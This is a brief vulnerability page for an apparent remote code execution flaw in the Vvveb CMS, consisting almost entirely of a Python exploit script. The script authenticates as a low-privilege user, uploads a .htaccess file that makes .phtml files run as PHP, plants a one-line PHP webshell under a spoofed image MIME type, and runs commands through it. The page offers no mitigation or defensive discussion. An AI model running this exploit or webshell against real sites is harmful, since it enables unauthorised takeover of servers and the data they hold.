CVE-2026-41938 Vvveb远程代码执行漏洞

import requests # Target configuration target_url = "http://example.com" login_url = f"{target_url}/index.php?module=users&action=login" upload_url = f"{target_url}/index.php?module=media&action=upload" # Attacker credentials (Low privileges) username = "attacker" password = "password" session = requests.Session() # Step 1: Authenticate login_data = {"username": username, "password": password} session.post(login_url, data=login_data) # Step 2: Upload .htaccess to map .phtml to PHP handler # This bypasses standard extension restrictions htaccess_content = "AddHandler application/x-httpd-php .phtml" files = { 'file': ('.htaccess', htaccess_content, 'text/plain') } response = session.post(upload_url, files=files) print(f"[+] Upload .htaccess Status: {response.status_code}") # Step 3: Upload malicious .phtml file (Webshell) php_shell = "<?php system($_GET['cmd']); ?>" files = { 'file': ('shell.phtml', php_shell, 'image/jpeg') # MIME type may need spoofing } response = session.post(upload_url, files=files) print(f"[+] Upload Shell Status: {response.status_code}") # Step 4: Trigger RCE # Assuming the upload directory is accessible via /media/uploads/ exploit_url = f"{target_url}/media/uploads/shell.phtml?cmd=whoami" rce_response = session.get(exploit_url) print(f"[+] RCE Output: {rce_response.text}")